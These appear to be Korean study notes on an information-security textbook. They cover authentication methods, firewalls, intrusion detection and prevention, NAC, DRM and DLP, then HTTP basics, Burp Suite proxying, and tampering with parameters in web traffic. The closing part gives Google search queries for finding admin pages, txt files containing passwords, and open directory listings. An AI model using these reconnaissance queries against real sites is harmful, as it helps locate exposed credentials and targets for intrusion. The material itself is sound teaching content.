'한빛아카데미 - 네트워크 해킹과 보안: 정보 보안 개론과 실습' 교재에 관한 내용입니다.


인증 수단

알고 있는 것

- 사용자가 알고 있는 정보로 인증

- 대표적인 예는 사용자의 아이디와 패스워드를 이용한 인증

- 사용자의 기억에 의존하므로 값싸고 편리하지만 패스워드를 안전하게 관리하기가 조금 어려움

 

자신의 모습

- 지문

가격 부담이 없고 효율성이 좋으며 사용 시 거부감이 없음

손에 땀이 많거나 허물이 잘 벗겨지는 사람의 경우 오탐률이 높음

 

- 손 모양

손가락의 길이나 굵기 등 손 모양을 이용하여 인증하는 방식

매우 간편하고 인증 데이터의 크기가 작아서 빠른 인증이 가능

손 모양이 비슷한 사람도 많고 고무 인형 등을 이용하여 쉽게 조작할 수 있어, 높은 보안 수준을 제공하지 못함

 

- 망막

눈 뒷부분에 있는 모세혈관을 이용하는 것

인증하는 데 10~15초 정도 걸리고 정확도가 매우 높음

장치에 눈을 10초 이상 대고 초점을 맞춰야 하므로 거부감을 불러일으킬 수 있음

안경을 쓴 상태에서는 인증을 거칠 수 없으며 눈병에 걸리면 인식률이 떨어짐

매우 높은 보안 수준을 요구할 때 사용

 

- 홍채

홍채: 눈의 색깔을 결정하는 부분으로 우리나라 사람은 대부분 홍채가 검은색이나 갈색

홍채 인증은 망막 인증보다 정확도가 높으며, 50cm 정도의 거리에서도 인증이 가능

망막 인증이 홍채 인증으로 대체되고 있지만 망막 인식 장비와 마찬가지로 고가

 

- 서명

서명의 진위 여부를 판단하는 인증 장치도 있으나 보안 수준이 그다지 높지 않아 일반적으로 사용되지는 않음

 

- 키보드

키보드를 누를 때 발생하는 특정한 리듬을 이용하여 신분을 확인하는 방법

오탐률이 높고 효율적이지 못하여 높은 보안 수준을 요구하는 경우에는 사용하지 않음

 

- 성문

사람마다 각기 다른 성문을 이용하는 인증

성문은 환경이나 감정에 따라 변하기도 하고 흉내낼 수도 있어서 보안 수준이 높지 않음

 

- 얼굴

얼굴 사진을 이용하는 인증

대표적인 예는 여권 사진으로 인증 장비가 다양한 표정의 얼굴을 정확히 인증하지 못하여 무표정한 얼굴만 확인이 가능

 

 가지고 있는 것

사용자가 소유한 것을 인증 수단으로 삼는 방식은 아주 오래전부터 이용 (ex: 마패)

오늘날에도 소유물을 활용한 인증 수단을 사용하고 있음

다른 사람이 쉽게 도용할 수 있기 때문에 단독으로 쓰이지 않음

 

- 스마트키 또는 스마트카드

스마트카드를 소유한 사람만 출입을 허가하는 방식

 

- 신분증

사진이 포함된 신분증으로 본인임을 확인하는 것

'가지고 있는 것'과 '자신의 모습'을 모두 이용하는 경우

 

- OTP

OTP는 1분마다 다른 패스워드를 생성하는 단말 장치

고정된 번호 중에서 임의의 지시 번호를 입력하는 보안 카드보다 좀 더 안전한 방식

 

- 공인인증서

인터넷 뱅킹이나 온라인상의 신용카드 거래에서 많이 사용함

공인인증서 패스워드를 알아야 하므로 '가지고 있는 것'과 '알고 있는 것'을 동시에 이용하는 인증ㅇ

 

 위치하는 곳

- 사용자 IP 

인터넷 게임이나 온라인 서비스를 이용할 때 국가에 따라 서비스 정책이 다른 경우 사용자 IP를 통해 국가 간 접속을 차단하는 것은 바로 ‘위치하는 곳’을 이용한 인증

 

- 콜백

발신자가 전화로 서비스를 요청했을 때, 전화를 끊고 걸려온 번호로 전화를 다시 걸어 발신자의 전화번호가 유효한지 확인하는 방법

 

 SSO

가장 기본적인 인증 시스템

'모든 인증을 하나의 시스템에서'라는 목적으로 개발

시스템이 몇 대라도 한 시스템의 인증에 성공하면 다른 시스템의 접근 권한을 모두 얻는 것

 

 

1 | 처음에 클라이언트가 서버에 연결을 요청

2 | 서버는 클라이언트에게 SSO 서버로부터 인증을 받은 후 접속하라고 요청

3,4 | 클라이언트가 SSO 서버로부터 인증을 받음

5 | SSO 서버와 연결된 서버 1, 2, 3에도 별도의 인증 과정 없이 접속할 수 있음

 

- 커베로스

SSO 접속 형태의 대표적인 인증 방법으로는 커베로스를 이용한 윈도우 액티브 디렉터

윈도우 서버에 이용되는 커베로스는 버전 5이며 10여 년 전에 MIT의 Athena 프로젝트에서 개발

커베로스는 그리스 신화 속 지옥문을 지키는 머리 셋 달린 개의 이름에서 따온 것

3개의 머리는 각각 클라이언트, 서버, SSO를 가리킴

 

- 서비스 기반으로 SSO를 구현하는 경우

사용자는 마이크로소프트가 관리하는 중앙의 패스포트 서버로 서비스 가입, 인증 받음

가맹 사이트는 패스포트 서버로 인증을 받으므로 인증 시스템을 따로 구축할 필요 없음

패스포트가 가진 정보를 자동으로 채워주는 템플릿 기능도 제공

웹 기반 SSO는 가입자의 인터넷 사용 정보를 효과적으로 얻을 수 있다는 이점으로 사용률이 매년 증가

동일한 인증 정보가 광범위한 서비스에서 사용되면 취약 포인트가 많아져 보안 측면에서 우려됨

 

- SSO의 약점

최초 인증 과정을 통과하면 모든 서버나 사이트에 접속할 수 있는 단일 장애점이 약점

약점을 보완하기 위해 중요 정보에 접근할 때는 지속적인 인증을 하도록 되어 있음

 

방화벽

보안을 높이기 위한 일차적인 방법

신뢰하지 않는 외부 네트워크와 신뢰하는 내부 네트워크 사이를 지나는 패킷을 미리 정한 규칙에 따라 차단하거나 보내주는 기능을 하는 하드웨어나 소프트웨어

방화벽은 성문을 지키는 병사가 사람들의 통행증을 검사하고 출입을 허가하는 것으로도 빗댈 수 있음

 

• 접근 제어

방화벽의 가장 기본적이고 중요한 기능

관리자가 통과시킬 접근과 거부할 접근을 명시하면 방화벽이 그에 따라 수행

구현 방법에 따라 패킷 필터링 방식, 프록시 방식으로 나뉨

접근 제어를 수행하는 룰셋은 방화벽을 기준으로 보호하려는 네트워크의 외부와 내부에 존재하는 시스템의 IP 주소와 포트로 구성

 

• 올바른 룰셋 적용

1 | 허용할 서비스를 확인

2 | 제공하려는 서비스가 보안상 문제가 없는지, 허용하는 것이 타당한지 검토

3 | 서비스가 이루어지는 형태를 확인하고 어떤 룰을 적용할지 구체적으로 결정

4 | 방화벽에 실제로 룰을 적용하고 적용된 룰을 검사

 

 로깅과 감사 추적

방화벽은 룰셋 설정과 변경, 관리자 접근, 네트워크 트래픽의 허용 또는 차단과 관련한 사항을 로그로 남김

사고 발생시 출입자를 확인하여 추적을 하기 위함

 

   인증

메시지 인증: VPN과 같은 신뢰할 수 있는 통신선으로 전송되는 메시지의 신뢰성을 보장

사용자 인증: 패스워드를 이용한 단순한 인증부터 OTP, 토큰 기반 인증 등 높은 수준의 인증까지 가능

클라이언트 인증: 모바일 사용자처럼 특수한 경우에 접속을 요구하는 호스트 자체가 정당한지 확인하는 방법

 

   데이터 암호화

한 방화벽에서 다른 방화벽으로 데이터를 암호화해서 보내는 것

일반적으로 VPN의 기능을 이용  방화벽의 한계

바이러스는 파일 등을 통해 감염되므로 근본적으로 방화벽이 영향을 미치기 어려움

일부 웜은 막을 수 있지만 정상적인 서비스 포트에 대해 웜이 공격을 시도할 때는 막을 수 없음

 

침입 탐지 시스템

네트워크를 통한 공격을 탐지하기 위한 장비

내부의 해킹이나 악성 코드 활동 탐지와 같이 방화벽이 하지 못하는 일을 수행

성안에서 거리를 돌며 순찰하는 병사에 비유

설치 위치와 목적에 따라 호스트 기반의 침입 탐지 시스템(HIDS) ,네트워크 기반의 침입 탐지 시스템(NIDS) 구분

 

• 침입 탐지 시스템의 주요 기능

- 데이터 수집

HIDS와 NIDS는 각각 장단점이 있어 상호 보완적으로 사용함

 

- 호스트 기반의 침입 탐지 시스템(HIDS)

윈도우나 유닉스 등의 운영체제에 부가적으로 설치, 운용되거나 일반 클라이언트에 설치

운영체제에 설정된 사용자 계정에 따라 어떤 사용자가 어떤 접근을 시도하고 어떤 작업을 했는지 기록을 남기고 추적

네트워크 환경과의 연계성이 낮아 전체 네트워크에 대한 침입 탐지가 불가능, 자신이 공격 대상이 될 때만 침입 탐지 가능

운영체제의 취약점이 HIDS를 손상할 수 있으며 다른 침입 탐지 시스템보다 비용이 많이 드는 것이 단점

 

- 네트워크 기반의 침입 탐지 시스템(NIDS)

네트워크에서 하나의 독립된 시스템으로 운용

감사와 로깅을 할 때 네트워크 자원이 손실되거나 데이터가 변조되지 않음

HIDS로는 할 수 없는 네트워크 전반에 대한 감시를 할 수 있으며 감시 영역이 상대적으로 큼

IP 주소를 소유하지 않아 해커의 직접적인 공격을 거의 완벽하게 방어할 수 있고 존재 사실도 숨길 수 있음

공격에 대한 결과를 알 수 없으며 암호화된 내용을 검사할 수 없음

스위칭 환경에서 NIDS를 설치하려면 다른 부가 장비 필요

10Gbps 이상의 고속 네트워크에서는 네트워크 카드 등의 하드웨어적인 한계로 네트워크의 모든 패킷을 검사하기 어려움 데이터 수집

 

- 데이터 필터링과 축약

HIDS와 NIDS에 의해 수집된 침입 관련 데이터를 한곳에 모아 관리하면 데이터를 상호 연관시켜 좀 더 효과적으로 분석함으로써 공격에 빠르게 대응할 수 있음

보안이 강화된 시스템에 데이터를 보관하여 침입으로 인한 손실을 막을 수 있음

보안 감사에서는 세밀하고 자세한 데이터보다 빠르고 정확하게 파악할 수 있는 데이터가 더 유용하므로 데이터의 효과적인 필터링과 축약이 필수

효과적인 필터링에는 데이터 수집 규칙을 설정하는 작업 필요

클리핑 레벨을 설정하여 잘못된 패스워드로 일정 횟수 이상 접속하면 로그를 남기도록 하여 조정 가능

 

 침입 탐지

- 오용 탐지 기법

이미 발견되고 정립된 공격 패턴을 미리 입력해두었다가 해당하는 패턴이 탐지되면 알려주는 것

비교적 오탐률이 낮고 효율적 • 알려진 공격 외에는 탐지할 수 없고 대량 데이터를 분석하는 데는 부적합

어떤 순서로 공격을 실시했는지에 대한 정보를 얻기 어려움

상태 전이 방법: 공격 상황에 대한 시나리오를 작성해두고 각각의 상태에 따른 공격을 분석하는 것

 

- 이상 탐지 기법

정상적이고 평균적인 상태를 기준으로 급격한 변화를 일으키거나 확률이 낮은 일이 발생하면 알려주는 것

인공지능 침입 탐지 시스템은 스스로 공격을 판단하고 결정을 내려 알려주지만, 판단 근거가 확실치 않고 오탐률 높음

면역 시스템은 새로운 공격을 당하면 스스로 학습하여 다시 그 공격이 발생하면 대응함

재설치를 하면 처음 상태로 되돌아가는 것이 단점

인공지능과 면역 시스템은 아직 개발 단계로 다른 침입 탐지 시스템과 병행하는 형태로만 운용되고 있음

 

- 책임 추적 및 대응

침입 탐지 시스템은 기본적으로 침입을 알려주는 시스템

과거: 침입에 대한 능동적인 기능이 별로 없고 공격을 발견하면 관리자에게 알람 등의 방법으로 알림

최근: 공격을 역추적하여 침입자의 시스템이나 네트워크를 사용하지 못하게 하는 능동적인 기능이 많이 추가

침입 방지 시스템(IPS): 능동적인 기능을 많이 탑재한 침입 탐지 시스템

 

 

 침입 탐지 시스템의 주요 기능

1 | 패킷이 라우터로 들어오기 전

네트워크에 실행되는 모든 공격 탐지 가능

공격 의도를 가진 패킷을 미리 파악할 수 있음

공격이 아닌 패킷을 너무 많이 수집

내부 네트워크로 침입한 공격과 그렇지 않은 것이 구분되지 않아 효율적인 대응이 어려움

2 | 라우터 뒤

 라우터의 패킷 필터링을 거친 패킷 검사

패킷 필터링 과정에서 단순한 공격 패킷이 걸러지므로 더 강력한 의지를 가진 공격자 탐지 가능

3 | 방화벽 뒤

방화벽 뒤에서 탐지되는 공격은 네트워크에 직접 영향을 주므로 공격에 대한 정책과 방화벽 연동성이 가장 중요

내부에서 외부로 향하는 공격도 탐지할 수 있어 내부 공격자도 어느 정도 탐지 가능

침입 탐지 시스템을 한 대만 설치할 수 있다면 이곳에 설치하는 것이 좋음

4 | 내부 네트워크

내부의 클라이언트를 신뢰할 수 없어 내부 네트워크 해킹을 감시하려 할 때 설치

5 | DMZ

DMZ에 침입 탐지 시스템을 설치하는 이유는 능력이 매우 뛰어난 외부 및 내부 공격자에 의한 중요 데이터의 손실이나 서비스 중단을 막기 위함

중요 데이터와 자원을 보호하기 위해 침입 탐지 시스템을 별도로 운영하기도 함  그 외 설치 관련 정보

침입 탐지 시스템의 설치 우선순위는 3 → 5 → 4 → 2 → 1
네트워크의 목적에 따라 중간에 NIDS를 선택적으로 설치 가능

HIDS는 유지, 관리 비용이 너무 많이 들어서 웹 서버와 같이 사업을 유지하는 매우 중요한 시스템에만 설치

 

 침입 방지 시스템

- 침입 방지 시스템의 개발 과정

방화벽은 IP 주소나 포트에 의한 네트워크 공격을 차단할 수 있지만 응용 프로그램 수준의 공격과 새로운 패턴의 공격에 대한 적응력이 무척 낮고 실시간 대응을 할 수도 없음

침입 탐지 시스템은 실시간 탐지는 가능하지만 대응책을 제시하지 못하기 때문에 대안 필요

방화벽과 침입 탐지 시스템만으로 해킹, 바이러스, 웜 공격을 막을 수 없는 것은 속도 때문

취약점 발표 후 실제 공격까지 하루가 채 걸리지 않는 제로데이 공격이 많음

 

- 침입 방지 시스템의 동작 원리

침입 방지 시스템은 침입 탐지 시스템과 방화벽의 조합

침입 탐지 기능을 수행하는 모듈이 패킷 하나하나를 검사하여 분석

정상적이지 않으면 방화벽 기능의 모듈로 패킷 차단

 

 

 

웜이나 악성 코드의 종류와 공격 기술이 다양해지면서 코드나 패킷 분석으로 탐지해서 공격을 막기 어려워짐

침입 방지 시스템에 가상 머신을 이용한 악성 코드 탐지 개념을 도입하여 적용

가상 머신에서 실행된 코드나 패킷이 키보드 해킹이나 무차별 네트 크 트래픽 생성 등 악성 코드와 유사한 동작을 보이면 해당 패킷을 차단

 

- 침입 방지 시스템의 설치

침입 방지 시스템은 일반적으로 방화벽 다음에 설치

방화벽이 네트워크 앞부분에서 불필요한 외부 패킷을 한 번 걸러주어 더 효율적으로 패킷 검사 가능

방화벽 없이 침입 방지 시스템만 설치하기도 함

하드웨어 칩으로 만든 ASIC를 소프트웨어로 많이 이용

침입 방지 시스템은 특화된 목적에 따라 방화벽과 함께 변형된 솔루션 형태를 띠기도 함

 

통제 및 감시 장비

- 감시 카메라

물리적인 보안을 위해 사용하는 장비 중 가장 널리 쓰이는 것

감시 카메라가 포착하지 못하는 사각지대를 확인해야 함

건물의 단면도에 감시 카메라 위치와 방향을 그려서 사각지대를 확인한 뒤 그 영역의 위험성을 판단함

영상 자료는 과거엔 비디오테이프에 보관했지만 최근에는 고화질 동영상으로 하드디스크 장비에 저장함

 

- 엑스레이 검사기

반도체나 LCD와 같은 첨단 산업 기업의 출입구에는 흔히 엑스레이 검사기가 설치되어 있음

큰 트럭이나 화물 컨테이너를 검사하는 엑스레이 검사기도 있음

 

- 금속 탐지기

전기와 자기의 관계를 이용한 탐지기로 공항에서 쉽게 볼 수 있음

화물에 숨긴 무기 탐지, 전장의 지뢰 감지, 음식물에 들어간 금속 파편 검사 등에 사용

전자 장비를 지니고 출입하는 것을 통제할 때도 사용

 

- 보안 스티커

방문자의 휴대전화 카메라에 붙여서 건물 내부의 사진을 찍지 않았음을 확인

노트북의 모니터와 본체 사이에 붙여서 내부로 들여간 노트북으로 작업했는지 여부를 확인

 

 

기타 보안 솔루션

  VPN

방화벽, 침입 탐지 시스템과 함께 사용되는 가장 일반적인 보안 솔루션

기업 내부의 네트워크에서 주고받는 데이터는 외부로 유출되면 안 되는 경우가 많아 기업 내의 데이터 통신에는 인터넷과 구분된 별도의 임대 회선을 사용

VPN은 고가의 임대 회선 대신에 인터넷 회선을 임대 회선처럼 사용할 수 있게 해주는 솔루션

 

• VPN의 용도

해외여행 중 국내 온라인 게임에 접속하는 경우

집에서도 회사 내의 서버에 보안 상태로 접근하는 경우

원격의 두 지점을 내부 네트워크처럼 이용하는 경우

 

 

  VLAN

- VLAN의 사용

VLAN을 이용할 때 네트워크 관리자는 네트워크를 작은 네트워크로 임의로 나눔

나뉜 네트워크는 브로드캐스트 패킷 제한 기능을 부여받음

이렇게 나뉜 VLAN은 ACL을 통해 접근 통제 가능, 악성 코드 발생시 범위 제한 가능

VLAN은 스위치에서 설정하며 포트별로 구분

 

1 | 패킷 전송

클라이언트가 스위치에 프레임을 전달하면 스위치는 클라이언트가 속한 VLAN을 표시하기 위해 전송받은 프레임에 VLAN 정보를 붙임

2 | 패킷 수신

프레임을 스위치 밖으로 보내기 전에 프레임의 VLAN 정보와 스위치 포트의 VLAN 정보를 비교

두 정보가 같으면 프레임에 붙어 있는 VLAN 정보를 떼어내고 프레임만 전송

다른 VLAN으로 프레임을 보내면 해당 포트의 VLAN과 프레임에 추가된 VLAN이 다르므로 프레임을 차단

 

 

3 | 스위치 간의 VLAN 통신

2개 이상의 스위치에서 VLAN 간 통신을 하려면 여러 개의 VLAN 프레임을 전송할 수 있는 트렁크 포트를 이용

트렁크 포트는 VLAN 의 종류에 관계없이 프레임을 전송하는데, 트렁크 포트로 전송할 때는 프레임의 VLAN 정보를 떼어내지 않음

대신 트렁크 포트로 전송된 프레임을 다시 각각의 VLAN으로 전송할 때 VLAN 정보를 떼어냄

 

  NAC NAC

- 주요 기능

과거 IP 관리 시스템에서 발전한 솔루션으로 기본적인 개념은 IP 관리 시스템과 거의 같음

구분 기능
접근 제어 및 인증 내부 직원 역할 기반ㅇ의 접근 제어
네트워크의 모든 IP 기반 장치 접근 제어
PC 및 네트워크 장치 통제(무결성 확인) 백신 관리
패치 관리
자산 관리(비인가 시스템 자동 검출)
해킹, 웜, 유해 트래픽 탐지 및 차단 유해 트래픽 탐지 및 차단
해킹 행위 차단
완벽한 증거 수집

 

접근 제어 및 인증 기능은 MAC 주소를 기반으로 수행

NAC는 등록된 MAC 주소만 네트워크에 접속할 수 있게 허용하므로 라우터로 구분된 서브 네트워크마다 에이전트 시스템이 설치되어야 함

 

- NAC를 통한 사용자 인증 절차

1 | 네트워크 접근 요청

접속하려는 PC 사용자가 네트워크에 대한 접근을 처음 시도

 

2 | 사용자 및 PC 인증

SSO와 연계하여 네트워크에 접근하는 사용자의 아이디와 패스워드를 추가로 요청하여 인증 수행

NAC에 등록되어 있는 MAC 주소로 사용자 PC 인증

 

3 | 인증 과정 중 백신, 보안 패치의 적절성 여부 검토

네트워크 접근 허용

인증이 완료되면 네트워크 접근 허용

 

4 | 네트워크 접근 거부

보안 정책을 제대로 준수하지 않거나 바이러스에 감염되었을 때는 네트워크 접근이 거부되고 네트워크에서 격리됨

격리된 PC는 필요한 정책 적용이나 치료 과정을 거친 후 다시 점검

 

  NAC 구현 방식

- 인라인 방식

NAC를 이용하여 방화벽과 같은 방식으로 접근 차단

게이트웨이 형태로 일부 물리적 네트워크에 NAC를 추가하는 것으로, 기존 네트워크 변경을 최소화하여 적용 가능

 

 

- NAC 구현 방식

802.1x 프로토콜과 RADIUS 서버를 이용하는 것

실질적인 접근 허용이나 차단은 스위치에서 수행

신규 클라이언트에 대한 인증 요청은 실제로 인증을 수행하는 RADIUS 서버로 전달

RADIUS 서버에서 스위치로 반환되는 결과에 따라 스위치는 네트워크에 대한 클라이언트 접근을 허용하거나 거부

 

- VLAN 방식

인가받지 않은 사용자라면 VLAN으로 미리 분리된 망 중에서 통신이 되지 않는 VLAN 망에 신규 클라이언트를 할당

인가받은 사용자라면 통신이 가능한 VLAN 망에 할당

 

- ARP 방식

신규 클라이언트가 적법한 사용자라면 NAC가 게이트웨이의 정상적인 MAC 주소를 알림

그렇지 않은 사용자라면 비정상적인 MAC 주소를 전송하여 네트워크에 대한 접근을 막음

 

- 소프트웨어 에이전트 설치 방식

네트워크에 접속하려는 모든 클라이언트에 에이전트를 설치하는 것

서버에서 차단 정책을 설정하여 설치된 에이전트로 네트워크를 차단

 

 

• 보안 운영체제

운영체제에 내재된 결함으로 발생할 수 있는 각종 해킹으로부터 시스템을 보호하기 위해 보안 기능이 통합된 보안 커널을 추가로 이식한 운영체제

기본으로 열려 있는 취약 서비스를 모두 차단하여 더 나은 보안 체계로 운영되도록 함

시스템에서 일어나는 프로세스 활동이 보안 정책에 위반되지 않는지를 검사 하기 위해 CPU의 일정 부분을 점유

 

- 백신

시스템의 바이러스를 잡기 위해 만들어진 것

우리나라의 대표적인 백신 프로그램은 V3

백신 프로그램이 시스템에 상주하면서 바이러스나 웜이 구동하면 실시간 탐지 및 제거하는 형태로 운영

바이러스, 웜, 인터넷으로 유포되는 악성 코드까지 탐지 및 제거 가능

 

- PC 방화벽

네트워크상의 웜이나 공격자로부터 PC를 보호하기 위해 사용

PC 내부로 유입되는 패킷뿐만 아니라 나가는 패킷도 모두 차단

사용자에게 네트워크 패킷의 적절성 여부를 확인 받음 • 최근의 윈도우 운영체제는 운영체제 수준에서 방화벽을 제공

윈도우 방화벽에서는 일반적인 방화벽 솔루션과 같은 방식으로 '인바운드 규칙'과 '아웃바운드 규칙'을 통제 가능

인바운드 규칙: 외부에서 내부로 들어오는 패킷에 대한 규칙

아웃바운드 규칙: 내부에서 외부로 나가는 패킷에 대한 규칙

 

 

• 스팸 필터 솔루션

- 메일 헤더 필터링

메일 헤더의 내용 중에서 ID/보내는 사람 이름/도메인에 특정 내용이 포함되어 있는지 검사

보낸 서버에서 IP/도메인/반송 주소의 유효성과 이상 유무 검사

메일 헤더의 받는 사람, 참조자, 숨은 참조자 필드에 너무 많은 수신자가 포함되어 있는지, 존재하지 않은 수신자가 포함되어 있는지 검사

 

- 제목 필터링

메일을 이용한 웜 공격은 제목에 특정 문자열이 있거나 일정 수 이상의 공백 문자열이 있는 것이 특징

메일 제목에 '광고' 등의 특정 문자열이 포함되어 있는지 검사하여 웜 차단 가능

 

-  본문 필터링 • 메일 본문에 특정 단어나 문자가 포함되어 있는지 검사

메일 본문과 메일 전체의 크기를 비교하여 유효성 확인

-  첨부 파일 필터링

첨부된 파일의 이름, 크기, 개수 및 첨부 파일 이름의 길이를 기준으로 필터링 수행

특정 확장자를 가진 첨부 파일만 전송되도록 설정

exe, com, dll, bat처럼 실행이 가능한 확장자를 가진 첨부 파일을 필터링

 

 DRM

문서 보안에 초점을 둔 기술로 문서의 열람, 편집, 인쇄에 접근 권한을 설정하여 통제

특정한 형태의 문서만 통제하는 것이 아니라 사무에 사용하는 대부분의 파일을 통제할 수 있음

운영체제 커널에 DRM 모듈을 삽입하는 형태로 사용

DRM 모듈로 운영되는 시스템의 하드디스크에는 암호화된 파일이 저장되므로 하드디스크를 도난당해도 보안상 위험이 적음

 

DRM 인증 체제는 인증서를 이용하는 경우가 많음

관리자는 각각의 인증서에 권한을 설정하여 문서 접근 권한을 설정

DRM 기술은 첨단 지식 관련 산업이나 높은 보안성을 요하는 정부 기관에서 주로 사용

 

 

 DLP

다양한 데이터 전송 인터페이스를 제어하여 사용자 수준에서 정보가 유출되는 것을 막는 솔루션을 통칭

기술적으로 숙련되지 않은 일반인의 활동이라도 DLP로 완벽하게 차단하기는 쉽지 않음

- 매체 제어 • 다양한 매체를 제어하는 DLP가 있지만 SATA 인터페이스로 하드디스크에 연결하는 경우는 제어 불가능

 

- 통신 인터페이스 제어 • 방해 전파 발생기와 같은 원리로 통신 라인을 통한 정보 유출을 막는 솔루션 등장

통신 인터페이스가 포함된 단말 장치 반입을 금지하거나 업무용 단말 장치는 통신 인터페이스를 제거하고 사용하는 것이 일반적

 

- 인터넷 통신 제어

클라우드 저장 공간을 통한 정보 유출을 막기 위해 해당 사이트의 접속을 막는 식으로 대응

개인이 자신만의 클라우드 저장 서버를 생성할 수도 있어 완벽히 차단하기 어려움

'한빛아카데미 - 네트워크 해킹과 보안: 정보 보안 개론과 실습' 교재에 관한 내용입니다.


• 웹의 이해

- 1989년 유럽입자물리연구소 CERN에서 근무하던 팀 버너스 리가 연구 목적의 프로젝트로 시작

- 프로젝트를 계획할 당시에는 웹을 ‘하이퍼텍스트 프로젝트 라고 불림

- 현재 웹 문서로 가장 많이 쓰이는 HTML은 하이퍼텍스트를 효과적으로 전달하기 위한 스크립트 언어

- 웹은 수많은 보안 취약점이 내재되어 있어 해킹에 취약한 집중적인 공격대상

 

•  HTTP 프로토콜 

- 여러 프로토콜이 쓰이나 가장 많이 쓰이는 프로토콜은 HTTP

- HTTP는 웹 처리 전반에 걸친 토대가 되기 때문에 웹 서버를 HTTP 서버라고 부르기도 함

연결 과정

1 | 서버가 준비 상태

2 | 클라이언트는 읽고자 하는 문서를 서버에 요청

3 | 서버는 웹 문서 중에서 요청받은 것을 클라이언트에 전송

4 | 연결을 끊음

 

HTTP Request

GET 방식

- 가장 일반적인 HTTP Request 형태로, 요청 데이터의 인수를 웹 브라우저의 URL로 전송

- 데이터가 주소 입력란에 표시되므로 최소한의 보안도 유지되지 않는 취약한 방식


• POST 방식

- URL에 요청 데이터를 기록하지 않고 HTTP 헤더에 데이터를 전송

- 인숫값을 URL로 전송하지 않으므로 다른 사용자가 링크로 해당 페이지를 볼 수 없음

- 게시판의 경우: 목록이나 글 보기 화면은 접근 자유도를 위해 GET 방식을 사용 게시글을 저장·수정·삭제하거나 대용량 데이터를 전송할 때는 POST 방식을 사용

 

기타 방식

- HEAD 방식: 서버 측 데이터를 검색하고 요청하는 데 사용

- OPTIONS 방식: 자원에 대한 요구/응답 관계와 관련된 선택 사항 정보를 요청할 때 사용

- PUT 방식: 메시지에 포함된 데이터를 지정된 URI 장소에 그 이름으로 저장

- DELETE 방식: URI에 지정된 자원을 서버에서 지울 수 있게 함

- TRACE 방식: 요구 메시지의 최종 수신처까지 루프백을 검사하는 데 사용

 

HTTP Response

- 클라이언트의 HTTP Request에 대한 응답 패킷

- 서버에서 쓰이는 프로토콜 버전, Request에 대한 실행 결과 코드, 간략한 실행 결과 설명문 내용이 담겨 있음

- 추가 정보로 전달할 데이터 형식, 길이 등이 MIME 형식으로 표현되어 있음

- 헤더 정보 뒤에는 실제 데이터(HTML 또는 이미지 파일)가 전달됨

- 데이터 전달이 끝나면 서버 연결을 끊음

 

실행 결과 코드 내용 설명
100번대 정보 전송 HTTP 1.0까지는 계열에 대한 정의가 이루어지지 않았기 때문에 실험 용도 외에는 100번대 서버 측의 응답이 없다.
200번대 성공 클라이언트의 요구가 성공적으로 수신 및 처리되었음을 의미한다.
300번대 리다이렉션 해당 요구 사항을 처리하기 위해 사용자 에이전트가 수행해야 할 추가 동작이 있음을 의미한다.
400번대 클라이언트 측 에러 클라이언트에 오류가 발생했을 때 사용한다. 예를 들면 클라이언트가 서버에 보내는 요구 메시지를 완전히 처리하지 못한 경우 등이다.
500번대 서버 측 에러 서버 자체에서 발생한 오류 상황이나 요구 사항을 제대로 처리할 수 없을 때 사용한다.

 

프론트 엔드

HTML

- 프론트 엔드: 클라이언트, 즉 웹 브라우저에서 실행되는 프로그램 영역

- 서버에 HTML 문서를 저장하고 있다가 클라이언트가 특정 HTML 페이지를 요청하면 해당 문서를 전송

- 클라이언트는 이 웹 페이지를 해석하여 웹 브라우저에 표현 (정적인 웹 페이지)

- 웹 브라우저와 웹 서버 사이에 전달되는 값을 변조하여 웹 서버 설정이나 로직을 바꾸는 웹 해킹에서 정적인 웹 페이지 바꿀 수 있는 가능성이 매우 낮다는 것이 보안상 장점

 

 CSS

- 동적인 웹 서비스를 제공하기 위해서 자바스크립트, 비주얼베이직 스크립트 등이 사용

- 현재 프론트 엔드를 담당하는 스크립트는 자바스크립트 • 자바스크립트는 HTML과 마찬가지로 웹 브라우저에 의해 해석 및 적용되며 CSS라고 함

- 서버가 아닌 웹 브라우저에서 해석되어 화면에 적용되어 웹 서버의 부담을 줄이면서도 다양한 기능을 수행

 

웹 해킹

 웹 취약점 스캐너를 통한 정보 수집

- 웹 취약점 스캐너를 통한 정보 수집은 빠른 시간 내에 다양한 접속 시도를 수행할 수 있다는 것이 장점

- 웹 취약점 스캐너로 확인된 취약점은 실제 보안 문제가 있는 취약점이 아닌 경우가 많음

Acunetix 웹 취약점 스캐너

 웹 프록시를 통한 취약점 분석

- 웹의 구조를 파악하거나 취약점을 점검할 때 혹은 웹 해킹을 할 때는 웹 프록시 툴을 사용

- 일반적으로 웹 해킹에 사용되는 웹 프록시는 클라이언트에 설치되고 클라이언트의 통제를 받음

- 클라이언트가 웹 서버와 웹 브라우저 간에 전달되는 모든 HTTP 패킷을 웹 프록시 를 통해 확인하면서 수정할 수 있음

 웹 프록시 Burp Suite

- http://portswigger.net/burp 에서 무료로 내려받아 설치한 후 실행

- 설치 방법: https://security-student.tistory.com/24 참고 하시면 됩니다.

Burp Suite 실행 창

 

 서버에서 클라이언트로 전송되는 패킷 변조

- 서버에서 변수 A의 값이 20임을 확인하고 이 값을 클라이언트에 전송

- A=40으로 바꾸어 전송

- 변조를 4 에서 해도 되지만 일반적으로 2 에서 변조하는 것이 훨씬 쉬움

- 서버가 클라이언트로 보낸 데이터 변조로 인해 발생하는 위험을 없애려면 서버에서 클라이언트로 전송한 값을 다시 참조하지 말아야 함

 

 클라이언트에서 서버로 전송되는 패킷 변조

- 서버에서 클라이언트로 전송되는 패킷을 변조하는 방법과 같음

 

 구글 해킹을 통한 정보 수집

- 웹 해킹을 하면서 많은 정보를 수집하려면 구글 같은 검색 엔진이 유용

 

 구글의 고급 검색 기능

검색 인자 설명 검색 추가 인자
site 특정 도메인으로 지정한 사이트에서 검색하려는 문자열이 포함된 사이트를 찾는다. YES
filetype 특정 파일 유형에 한해 검색하는 문자가 들어 있는 사이트를 찾는다. YES
link 링크로 검색하는 문자가 들어 있는 사이트를 찾는다. NO
cache 특정 검색어에 해당하는 캐시된 페이지를 보여준다. NO
intitle 페이지 제목에 검색하는 문자가 들어 있는 사이트를 찾는다. NO
inurl 페이지 URL에 검색하는 문자가 들어 있는 사이트를 찾는다 NO

 

- ‘wishfree.com’ 도메인이 있는 페이지에서 ‘admin’ 문자열 검색: site

site:wishfree.com admin

site:wishfree.com admin 구글링 화면

- 파일 확장자가 txt이고 문자열 password가 들어간 파일 검색: filetype

filetype:txt password

filetype:txt password 구글링 화면

- 디렉토리 리스팅이 가능한 사이트 검색:Intitle

intitle:index.of admin

intitle:index.of admin 구글링 화면

